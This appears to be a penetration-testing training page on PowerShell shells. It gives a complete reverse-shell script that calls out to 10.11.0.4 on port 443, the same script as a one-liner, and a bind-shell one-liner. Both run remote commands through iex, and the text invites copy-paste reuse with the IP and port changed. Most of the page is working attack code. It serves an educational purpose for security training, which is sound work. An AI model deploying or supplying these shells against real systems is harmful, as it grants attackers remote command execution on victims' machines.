

Powershell

In this section, we will leverage PowerShell one-liners to execute shells, beginning with a reverse shell.

```
$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();
```

This code can be rolled into an admittedly lengthy one-liner to be executed at the command prompt:

```
C:\Users\offsec> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

This one-liner may seem very arduous at first glance, but there is no need to memorize it; we would likely copy-and-paste this type of command (replacing the IP and port number) during a live penetration test.

In short, by simply replacing the IP address and port number in the *System.Net.Sockets.TCPClient* call, we can easily reuse this PowerShell reverse shell command.

(Nikhil SamratAshok Mittal , 2015), <http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html> ↵

(Microsoft, 2019), <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6> ↵

PowerShell Bind Shells

The process is reversed when dealing with bind shells. We first create the bind shell through PowerShell on Bob's computer, and then use Netcat to connect to it from Alice's.

In the snippet of code below, we will again pass our command to powershell using the -c option. As with the reverse shell, this complex command can be broken down into several commands. In addition to the *client*, *stream*, and *byte* variables, we also have a new *listener* variable that uses the *System.Net.Sockets.TcpListener*1 class. This class requires two arguments: first the address to listen on, followed by the port. By providing 0.0.0.0 as the local address, our bind shell will be available on all IP addresses on the system. Again, we use the iex cmdlet to execute our commands:

```
C:\Users\offsec> powershell -c "$listener = New-Object
System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne
0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex
$data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close();$listener.Stop()"
```

(Microsoft, 2019), <https://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.tcpllistener?view=netframework-4.7.2> ↵

(Microsoft, 2019), <https://docs.microsoft.com/en-us/powershell/> ↵

Revision #3

Created 4 September 2022 18:51:44 by Togoboi

Updated 4 September 2022 18:58:09 by Togoboi